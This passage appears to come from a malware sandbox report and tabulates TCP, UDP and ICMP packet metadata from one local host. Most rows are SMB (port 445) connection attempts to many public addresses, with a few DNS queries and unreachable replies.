Dec 22, 2022 10:07:19.245256901 CET	61992	445	192.168.2.6	215.237.74.219
Dec 22, 2022 10:07:19.245256901 CET	62008	445	192.168.2.6	93.203.122.18
Dec 22, 2022 10:07:19.246102095 CET	62023	445	192.168.2.6	96.206.97.98
Dec 22, 2022 10:07:19.246138096 CET	62014	445	192.168.2.6	33.221.53.119
Dec 22, 2022 10:07:19.246470928 CET	62029	445	192.168.2.6	193.245.249.68
Dec 22, 2022 10:07:19.246877909 CET	62025	445	192.168.2.6	147.78.42.197
Dec 22, 2022 10:07:19.247108936 CET	62028	445	192.168.2.6	7.252.15.124
Dec 22, 2022 10:07:19.537029028 CET	445	61950	134.172.31.41	192.168.2.6
Dec 22, 2022 10:07:19.646097898 CET	62035	445	192.168.2.6	176.210.131.100
Dec 22, 2022 10:07:19.723404884 CET	61690	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:19.865256071 CET	62036	445	192.168.2.6	188.18.129.24
Dec 22, 2022 10:07:20.223495960 CET	61950	445	192.168.2.6	134.172.31.41
Dec 22, 2022 10:07:20.365771055 CET	62039	445	192.168.2.6	98.227.45.114
Dec 22, 2022 10:07:20.367436886 CET	62043	445	192.168.2.6	123.33.28.1
Dec 22, 2022 10:07:20.368316889 CET	62055	445	192.168.2.6	83.71.245.236
Dec 22, 2022 10:07:20.369076014 CET	62068	445	192.168.2.6	98.213.116.111
Dec 22, 2022 10:07:20.369152069 CET	62070	445	192.168.2.6	60.143.14.203
Dec 22, 2022 10:07:20.369189024 CET	62071	445	192.168.2.6	27.198.29.212
Dec 22, 2022 10:07:20.369293928 CET	62073	445	192.168.2.6	193.70.11.27
Dec 22, 2022 10:07:20.369453907 CET	62077	445	192.168.2.6	111.33.212.102
Dec 22, 2022 10:07:20.369741917 CET	62085	445	192.168.2.6	19.64.157.91
Dec 22, 2022 10:07:20.369899035 CET	62086	445	192.168.2.6	22.92.106.174
Dec 22, 2022 10:07:20.370014906 CET	62090	445	192.168.2.6	142.149.194.182
Dec 22, 2022 10:07:20.370040894 CET	62091	445	192.168.2.6	169.175.8.125
Dec 22, 2022 10:07:20.370434046 CET	62099	445	192.168.2.6	168.57.191.120
Dec 22, 2022 10:07:20.370568037 CET	62102	445	192.168.2.6	68.221.232.248
Dec 22, 2022 10:07:20.370762110 CET	62108	445	192.168.2.6	205.35.23.79
Dec 22, 2022 10:07:20.370907068 CET	62107	445	192.168.2.6	58.199.248.36
Dec 22, 2022 10:07:20.370922089 CET	62109	445	192.168.2.6	70.145.63.3
Dec 22, 2022 10:07:20.371061087 CET	62113	445	192.168.2.6	64.210.161.47
Dec 22, 2022 10:07:20.371165037 CET	62115	445	192.168.2.6	188.182.120.22
Dec 22, 2022 10:07:20.371248007 CET	62116	445	192.168.2.6	157.180.41.62
Dec 22, 2022 10:07:20.371417999 CET	62121	445	192.168.2.6	142.162.217.163
Dec 22, 2022 10:07:20.371702909 CET	62128	445	192.168.2.6	37.58.60.71
Dec 22, 2022 10:07:20.371790886 CET	62131	445	192.168.2.6	78.25.185.107
Dec 22, 2022 10:07:20.372005939 CET	62136	445	192.168.2.6	200.33.223.62
Dec 22, 2022 10:07:20.372068882 CET	62137	445	192.168.2.6	124.210.180.169
Dec 22, 2022 10:07:20.372097015 CET	62138	445	192.168.2.6	18.199.91.183
Dec 22, 2022 10:07:20.372132063 CET	62139	445	192.168.2.6	199.194.182.195
Dec 22, 2022 10:07:20.372334957 CET	62144	445	192.168.2.6	92.198.247.213
Dec 22, 2022 10:07:20.518568039 CET	445	61950	134.172.31.41	192.168.2.6
Dec 22, 2022 10:07:20.674010992 CET	445	62070	60.143.14.203	192.168.2.6
Dec 22, 2022 10:07:20.724600077 CET	62151	445	192.168.2.6	176.210.131.101
Dec 22, 2022 10:07:20.928086996 CET	62152	445	192.168.2.6	188.18.129.25
Dec 22, 2022 10:07:21.223591089 CET	62070	445	192.168.2.6	60.143.14.203
Dec 22, 2022 10:07:21.474648952 CET	62156	445	192.168.2.6	149.108.230.75
Dec 22, 2022 10:07:21.475003004 CET	62163	445	192.168.2.6	104.61.19.35
Dec 22, 2022 10:07:21.475060940 CET	62164	445	192.168.2.6	195.64.14.229
Dec 22, 2022 10:07:21.475270987 CET	62168	445	192.168.2.6	77.215.41.183
Dec 22, 2022 10:07:21.475413084 CET	62170	445	192.168.2.6	92.104.173.46
Dec 22, 2022 10:07:21.477030039 CET	62174	445	192.168.2.6	38.24.83.244
Dec 22, 2022 10:07:21.477124929 CET	62176	445	192.168.2.6	22.104.155.90
Dec 22, 2022 10:07:21.477356911 CET	62182	445	192.168.2.6	132.202.222.232
Dec 22, 2022 10:07:21.477473974 CET	62184	445	192.168.2.6	180.14.59.144
Dec 22, 2022 10:07:21.477647066 CET	62188	445	192.168.2.6	70.77.125.121
Dec 22, 2022 10:07:21.477711916 CET	62190	445	192.168.2.6	185.185.84.147
Dec 22, 2022 10:07:21.477844954 CET	62183	445	192.168.2.6	144.7.3.12
Dec 22, 2022 10:07:21.477958918 CET	62197	445	192.168.2.6	138.253.30.59
Dec 22, 2022 10:07:21.478045940 CET	62198	445	192.168.2.6	121.147.142.35
Dec 22, 2022 10:07:21.478120089 CET	62201	445	192.168.2.6	110.21.242.112
Dec 22, 2022 10:07:21.478291988 CET	62205	445	192.168.2.6	3.131.230.75
Dec 22, 2022 10:07:21.478475094 CET	62209	445	192.168.2.6	125.30.200.233
Dec 22, 2022 10:07:21.478475094 CET	62210	445	192.168.2.6	151.219.172.101
Dec 22, 2022 10:07:21.478589058 CET	62212	445	192.168.2.6	146.157.211.191
Dec 22, 2022 10:07:21.478662968 CET	62213	445	192.168.2.6	212.163.214.85
Dec 22, 2022 10:07:21.478919029 CET	62219	445	192.168.2.6	113.200.52.223
Dec 22, 2022 10:07:21.479065895 CET	62223	445	192.168.2.6	193.117.76.61
Dec 22, 2022 10:07:21.479765892 CET	62235	445	192.168.2.6	109.133.226.106
Dec 22, 2022 10:07:21.480510950 CET	62248	445	192.168.2.6	189.109.47.129
Dec 22, 2022 10:07:21.480604887 CET	62250	445	192.168.2.6	216.27.116.111
Dec 22, 2022 10:07:21.480937004 CET	62256	445	192.168.2.6	87.222.169.165
Dec 22, 2022 10:07:21.481029987 CET	62257	445	192.168.2.6	201.138.160.123
Dec 22, 2022 10:07:21.481539011 CET	62251	445	192.168.2.6	218.156.82.174
Dec 22, 2022 10:07:21.529033899 CET	445	62070	60.143.14.203	192.168.2.6
Dec 22, 2022 10:07:21.614303112 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:21.677845001 CET	62267	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:21.712598085 CET	445	62267	84.6.126.4	192.168.2.6
Dec 22, 2022 10:07:21.712709904 CET	62267	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:21.712857962 CET	62267	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:21.713310003 CET	62268	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:21.747730970 CET	445	62268	84.6.126.4	192.168.2.6
Dec 22, 2022 10:07:21.753454924 CET	62268	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:21.753454924 CET	62268	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:21.786504030 CET	62270	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:21.897675037 CET	445	62270	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:21.898947954 CET	62270	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:21.899055004 CET	62270	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:21.899732113 CET	62271	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:21.989945889 CET	62272	445	192.168.2.6	188.18.129.26
Dec 22, 2022 10:07:21.998380899 CET	445	62271	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:21.998574018 CET	62271	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:21.998750925 CET	62271	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:22.002820969 CET	445	62270	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:22.009695053 CET	445	62270	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:22.011324883 CET	62270	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:22.020567894 CET	62268	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:22.023369074 CET	62267	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:22.099211931 CET	445	62271	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:22.107202053 CET	445	62271	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:22.109361887 CET	62271	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:22.215178967 CET	445	62271	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:22.217417955 CET	62271	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:22.223699093 CET	61690	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:22.319236040 CET	445	62271	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:22.319668055 CET	62271	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:22.333164930 CET	62268	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:22.419260025 CET	445	62271	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:22.423451900 CET	62271	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:22.527328968 CET	445	62271	176.210.131.102	192.168.2.6
Dec 22, 2022 10:07:22.527678967 CET	62271	445	192.168.2.6	176.210.131.102
Dec 22, 2022 10:07:22.599222898 CET	62274	445	192.168.2.6	78.132.219.23
Dec 22, 2022 10:07:22.599884987 CET	62280	445	192.168.2.6	188.192.118.231
Dec 22, 2022 10:07:22.599971056 CET	62283	445	192.168.2.6	76.181.221.76
Dec 22, 2022 10:07:22.599977970 CET	62281	445	192.168.2.6	96.33.104.132
Dec 22, 2022 10:07:22.600080013 CET	62285	445	192.168.2.6	31.86.167.191
Dec 22, 2022 10:07:22.600352049 CET	62290	445	192.168.2.6	12.151.136.191
Dec 22, 2022 10:07:22.600502968 CET	62294	445	192.168.2.6	21.243.172.160
Dec 22, 2022 10:07:22.600929976 CET	62306	445	192.168.2.6	180.107.64.79
Dec 22, 2022 10:07:22.601504087 CET	62321	445	192.168.2.6	160.212.205.112
Dec 22, 2022 10:07:22.601617098 CET	62320	445	192.168.2.6	65.150.120.172
Dec 22, 2022 10:07:22.601619005 CET	62322	445	192.168.2.6	55.164.37.100
Dec 22, 2022 10:07:22.601809978 CET	62327	445	192.168.2.6	125.170.134.67
Dec 22, 2022 10:07:22.601809978 CET	62326	445	192.168.2.6	212.113.85.12
Dec 22, 2022 10:07:22.602344036 CET	62340	445	192.168.2.6	56.200.45.65
Dec 22, 2022 10:07:22.602432966 CET	62342	445	192.168.2.6	107.123.2.8
Dec 22, 2022 10:07:22.602624893 CET	62346	445	192.168.2.6	94.214.155.79
Dec 22, 2022 10:07:22.602782965 CET	62350	445	192.168.2.6	200.38.91.201
Dec 22, 2022 10:07:22.602880001 CET	62351	445	192.168.2.6	190.25.86.68
Dec 22, 2022 10:07:22.603018999 CET	62354	445	192.168.2.6	42.141.240.238
Dec 22, 2022 10:07:22.603090048 CET	62355	445	192.168.2.6	3.66.185.242
Dec 22, 2022 10:07:22.603281975 CET	62359	445	192.168.2.6	215.197.8.22
Dec 22, 2022 10:07:22.603431940 CET	62362	445	192.168.2.6	30.2.198.37
Dec 22, 2022 10:07:22.603462934 CET	62364	445	192.168.2.6	16.6.197.56
Dec 22, 2022 10:07:22.603624105 CET	62368	445	192.168.2.6	97.225.77.155
Dec 22, 2022 10:07:22.603795052 CET	62371	445	192.168.2.6	118.119.143.252
Dec 22, 2022 10:07:22.603960991 CET	62375	445	192.168.2.6	32.111.39.197
Dec 22, 2022 10:07:22.604093075 CET	62379	445	192.168.2.6	112.64.127.2
Dec 22, 2022 10:07:22.604331970 CET	62384	445	192.168.2.6	186.100.50.144
Dec 22, 2022 10:07:22.629992962 CET	62267	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:22.942589045 CET	62268	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:23.052684069 CET	62388	445	192.168.2.6	188.18.129.27
Dec 22, 2022 10:07:23.833229065 CET	62267	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:24.145685911 CET	62268	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:25.348972082 CET	62268	445	192.168.2.6	84.6.126.4
Dec 22, 2022 10:07:25.599003077 CET	62274	445	192.168.2.6	78.132.219.23
Dec 22, 2022 10:07:25.599219084 CET	62280	445	192.168.2.6	188.192.118.231
Dec 22, 2022 10:07:25.599240065 CET	62371	445	192.168.2.6	118.119.143.252
Dec 22, 2022 10:07:25.614589930 CET	62285	445	192.168.2.6	31.86.167.191
Dec 22, 2022 10:07:25.614617109 CET	62326	445	192.168.2.6	212.113.85.12
Dec 22, 2022 10:07:25.614622116 CET	62322	445	192.168.2.6	55.164.37.100
Dec 22, 2022 10:07:25.614624023 CET	62342	445	192.168.2.6	107.123.2.8
Dec 22, 2022 10:07:25.614641905 CET	62346	445	192.168.2.6	94.214.155.79
Dec 22, 2022 10:07:25.614650011 CET	62364	445	192.168.2.6	16.6.197.56
Dec 22, 2022 10:07:25.614656925 CET	62281	445	192.168.2.6	96.33.104.132
Dec 22, 2022 10:07:25.614669085 CET	62327	445	192.168.2.6	125.170.134.67
Dec 22, 2022 10:07:25.614669085 CET	62384	445	192.168.2.6	186.100.50.144
Dec 22, 2022 10:07:25.614669085 CET	62290	445	192.168.2.6	12.151.136.191
Dec 22, 2022 10:07:25.614681005 CET	62379	445	192.168.2.6	112.64.127.2
Dec 22, 2022 10:07:25.614684105 CET	62321	445	192.168.2.6	160.212.205.112
Dec 22, 2022 10:07:25.614687920 CET	62340	445	192.168.2.6	56.200.45.65
Dec 22, 2022 10:07:25.614689112 CET	62350	445	192.168.2.6	200.38.91.201
Dec 22, 2022 10:07:25.614727974 CET	62294	445	192.168.2.6	21.243.172.160
Dec 22, 2022 10:07:25.614727974 CET	62320	445	192.168.2.6	65.150.120.172
Dec 22, 2022 10:07:25.614727974 CET	62351	445	192.168.2.6	190.25.86.68
Dec 22, 2022 10:07:25.614727974 CET	62283	445	192.168.2.6	76.181.221.76
Dec 22, 2022 10:07:25.614748001 CET	62355	445	192.168.2.6	3.66.185.242
Dec 22, 2022 10:07:25.614748955 CET	62359	445	192.168.2.6	215.197.8.22
Dec 22, 2022 10:07:25.614749908 CET	62306	445	192.168.2.6	180.107.64.79
Dec 22, 2022 10:07:25.614748001 CET	62354	445	192.168.2.6	42.141.240.238
Dec 22, 2022 10:07:25.614784002 CET	62368	445	192.168.2.6	97.225.77.155
Dec 22, 2022 10:07:25.614808083 CET	62375	445	192.168.2.6	32.111.39.197
Dec 22, 2022 10:07:25.614948988 CET	62362	445	192.168.2.6	30.2.198.37
Dec 22, 2022 10:07:26.067822933 CET	62388	445	192.168.2.6	188.18.129.27

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2022 10:03:13.716059923 CET	59082	53	192.168.2.6	8.8.8.8
Dec 22, 2022 10:03:13.734134912 CET	53	59082	8.8.8.8	192.168.2.6
Dec 22, 2022 10:03:14.169581890 CET	65198	53	192.168.2.6	8.8.8.8
Dec 22, 2022 10:03:14.192805052 CET	53	65198	8.8.8.8	192.168.2.6
Dec 22, 2022 10:03:15.117161036 CET	62910	53	192.168.2.6	8.8.8.8
Dec 22, 2022 10:03:15.135354996 CET	53	62910	8.8.8.8	192.168.2.6
Dec 22, 2022 10:03:15.601308107 CET	63863	53	192.168.2.6	8.8.8.8
Dec 22, 2022 10:03:15.619663954 CET	53	63863	8.8.8.8	192.168.2.6
Dec 22, 2022 10:03:15.700788021 CET	63229	53	192.168.2.6	8.8.8.8
Dec 22, 2022 10:03:15.873291016 CET	53	63229	8.8.8.8	192.168.2.6
Dec 22, 2022 10:03:16.338462114 CET	62538	53	192.168.2.6	8.8.8.8
Dec 22, 2022 10:03:16.508029938 CET	53	62538	8.8.8.8	192.168.2.6
Dec 22, 2022 10:04:29.623955965 CET	138	138	192.168.2.6	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 22, 2022 10:03:30.197762012 CET	10.61.24.149	192.168.2.6	cfc0	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:03:35.375652075 CET	149.11.89.129	192.168.2.6	ec7a	(Net unreachable)	Destination Unreachable
Dec 22, 2022 10:03:37.922281027 CET	80.157.129.109	192.168.2.6	69b7	(Unknown)	Destination Unreachable
Dec 22, 2022 10:03:44.849989891 CET	149.14.159.114	192.168.2.6	4a4b	(Unknown)	Destination Unreachable
Dec 22, 2022 10:03:50.823163986 CET	5.145.140.82	192.168.2.6	71d4	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:03:53.446140051 CET	172.17.20.194	192.168.2.6	d899	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:03:58.437886953 CET	104.245.79.104	192.168.2.6	bae	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:03.985080957 CET	95.208.163.161	192.168.2.6	f697	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:10.751452923 CET	210.139.182.221	192.168.2.6	7495	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:11.711196899 CET	116.74.100.74	192.168.2.6	3b74	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:14.894180059 CET	209.62.199.25	192.168.2.6	5820	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:15.419469118 CET	189.204.117.126	192.168.2.6	2e78	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:04:17.586508989 CET	10.254.253.3	192.168.2.6	672c	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:04:17.648188114 CET	162.33.232.1	192.168.2.6	1841	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:20.877132893 CET	2.206.225.242	192.168.2.6	86f4	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:23.415518045 CET	10.131.30.2	192.168.2.6	532b	(Net unreachable)	Destination Unreachable
Dec 22, 2022 10:04:25.452409029 CET	176.210.131.3	192.168.2.6	f3a9	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:25.702028036 CET	210.56.80.250	192.168.2.6	4d2a	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:28.772530079 CET	82.114.56.55	192.168.2.6	9c3d	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:28.843800068 CET	184.104.196.190	192.168.2.6	f6fe	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:04:31.825659990 CET	185.48.9.229	192.168.2.6	5a3e	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:32.914465904 CET	109.236.95.225	192.168.2.6	e72e	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:32.990158081 CET	194.186.6.178	192.168.2.6	846d	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:04:33.209932089 CET	213.106.140.182	192.168.2.6	fb6b	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:35.457161903 CET	84.169.246.1	192.168.2.6	1832	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:38.790496111 CET	91.114.245.151	192.168.2.6	10dc	(Port unreachable)	Destination Unreachable
Dec 22, 2022 10:04:38.792572975 CET	94.134.158.47	192.168.2.6	c255	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:39.010229111 CET	112.215.81.74	192.168.2.6	3f04	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:04:42.945797920 CET	85.14.91.37	192.168.2.6	165	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:45.053950071 CET	27.110.10.26	192.168.2.6	2cc8	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:45.949770927 CET	178.142.160.14	192.168.2.6	f4e5	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:47.559248924 CET	199.249.4.83	192.168.2.6	8d50	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:51.268630981 CET	103.117.124.4	192.168.2.6	9612	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:04:52.943490982 CET	46.131.46.195	192.168.2.6	4c5	(Port unreachable)	Destination Unreachable
Dec 22, 2022 10:04:53.744594097 CET	188.1.231.30	192.168.2.6	acaa	(Net unreachable)	Destination Unreachable
Dec 22, 2022 10:04:55.080733061 CET	200.246.112.2	192.168.2.6	7bc6	(Unknown)	Destination Unreachable
Dec 22, 2022 10:04:58.449590921 CET	189.204.117.126	192.168.2.6	db27	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:05:07.604059935 CET	89.191.238.160	192.168.2.6	5342	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:12.261532068 CET	186.237.161.42	192.168.2.6	9b68	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:05:13.178124905 CET	84.133.108.124	192.168.2.6	9858	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:14.616300106 CET	220.138.44.16	192.168.2.6	48ea	(Port unreachable)	Destination Unreachable
Dec 22, 2022 10:05:17.646224022 CET	149.172.252.233	192.168.2.6	2e79	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:19.410976887 CET	27.123.240.5	192.168.2.6	811a	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:05:19.884741068 CET	194.112.250.40	192.168.2.6	1d19	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:05:23.906600952 CET	193.99.214.4	192.168.2.6	9390	(Net unreachable)	Destination Unreachable
Dec 22, 2022 10:05:25.015041113 CET	94.31.37.165	192.168.2.6	e0e2	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:05:25.098591089 CET	69.63.248.186	192.168.2.6	632d	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:26.130515099 CET	2.202.172.83	192.168.2.6	5ae3	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:26.899255037 CET	94.113.240.130	192.168.2.6	93b6	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:05:28.358884096 CET	84.245.34.5	192.168.2.6	57dd	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:28.391398907 CET	217.18.63.216	192.168.2.6	d8b2	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:29.594616890 CET	162.211.184.13	192.168.2.6	2dc1	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:05:30.505651951 CET	201.251.206.129	192.168.2.6	d10f	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:05:31.710421085 CET	94.126.62.254	192.168.2.6	9dc5	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:33.821733952 CET	202.154.0.17	192.168.2.6	b616	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:05:33.987126112 CET	10.55.56.55	192.168.2.6	cb2b	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:05:37.059732914 CET	12.89.202.186	192.168.2.6	b046	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:05:38.944470882 CET	5.13.149.130	192.168.2.6	5a63	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:05:41.566554070 CET	119.159.249.69	192.168.2.6	db44	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:05:42.019136906 CET	23.245.253.17	192.168.2.6	d4ce	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:42.284459114 CET	173.244.96.254	192.168.2.6	885d	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:05:46.435802937 CET	91.61.188.51	192.168.2.6	4d08	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:46.682430983 CET	58.159.218.222	192.168.2.6	4414	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:05:47.565398932 CET	81.228.88.5	192.168.2.6	df3a	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:51.116307020 CET	201.31.21.202	192.168.2.6	38a2	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:51.699444056 CET	77.242.225.102	192.168.2.6	8eb8	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:05:53.205328941 CET	161.38.25.30	192.168.2.6	eafe	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:05:54.018152952 CET	82.197.168.70	192.168.2.6	9b26	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:05:56.972305059 CET	138.2.85.174	192.168.2.6	9f7b	(Unknown)	Destination Unreachable
Dec 22, 2022 10:05:58.381617069 CET	185.69.205.150	192.168.2.6	47b1	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:06:01.666165113 CET	172.16.112.126	192.168.2.6	6579	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:06:02.431406021 CET	91.5.21.58	192.168.2.6	b268	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:03.636212111 CET	104.206.12.11	192.168.2.6	34a4	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:05.996072054 CET	203.208.177.82	192.168.2.6	fa93	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:07.874174118 CET	97.64.66.2	192.168.2.6	6e98	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:06:09.139827967 CET	193.143.6.52	192.168.2.6	4424	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:09.246607065 CET	184.104.204.114	192.168.2.6	fa6c	(Net unreachable)	Destination Unreachable
Dec 22, 2022 10:06:10.254134893 CET	79.202.47.162	192.168.2.6	e7f7	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:10.390260935 CET	23.93.206.134	192.168.2.6	a5ab	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:11.369299889 CET	77.179.81.210	192.168.2.6	3f65	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:11.371499062 CET	87.180.114.252	192.168.2.6	2790	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:13.191119909 CET	10.7.4.1	192.168.2.6	5222	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:06:15.188133001 CET	185.156.45.73	192.168.2.6	ad98	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:06:22.165529013 CET	79.250.42.244	192.168.2.6	1bb4	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:24.404010057 CET	81.228.93.109	192.168.2.6	c66d	(Net unreachable)	Destination Unreachable
Dec 22, 2022 10:06:24.605139017 CET	27.110.10.26	192.168.2.6	5148	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:25.756220102 CET	200.128.0.179	192.168.2.6	9a14	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:06:26.637530088 CET	188.98.149.177	192.168.2.6	ee13	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:29.045984030 CET	10.32.25.138	192.168.2.6	5291	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:06:30.230709076 CET	202.127.73.107	192.168.2.6	15b9	(Net unreachable)	Destination Unreachable
Dec 22, 2022 10:06:32.206872940 CET	85.163.52.94	192.168.2.6	5011	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:06:32.212884903 CET	91.50.59.16	192.168.2.6	b3fa	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:34.427453041 CET	84.178.88.235	192.168.2.6	e016	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:37.450392962 CET	103.94.223.18	192.168.2.6	1139	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:06:38.669982910 CET	80.157.131.227	192.168.2.6	40a0	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:06:38.974529982 CET	24.69.184.186	192.168.2.6	c12d	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:39.067219973 CET	157.143.7.139	192.168.2.6	75dd	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:39.926150084 CET	78.43.191.61	192.168.2.6	4fc9	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:42.156483889 CET	217.224.232.142	192.168.2.6	2ba5	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:43.267450094 CET	93.232.131.194	192.168.2.6	469f	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:45.767112017 CET	162.19.93.91	192.168.2.6	bf40	(Port unreachable)	Destination Unreachable
Dec 22, 2022 10:06:46.735423088 CET	164.113.216.90	192.168.2.6	ff99	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:49.143115044 CET	203.79.250.205	192.168.2.6	d38	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:06:50.112379074 CET	50.220.200.185	192.168.2.6	793c	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:50.288110018 CET	203.248.208.166	192.168.2.6	d48c	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:51.061336994 CET	70.32.64.3	192.168.2.6	3d27	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:06:52.233958960 CET	188.96.100.178	192.168.2.6	953e	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:57.112051964 CET	168.39.8.10	192.168.2.6	9af9	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:06:58.647660017 CET	80.0.255.238	192.168.2.6	6d94	(Unknown)	Destination Unreachable
Dec 22, 2022 10:06:59.816664934 CET	194.186.181.90	192.168.2.6	c3b0	(Unknown)	Destination Unreachable
Dec 22, 2022 10:07:01.053248882 CET	45.191.32.6	192.168.2.6	2dca	(Time to live exceeded in transit)	Time Exceeded
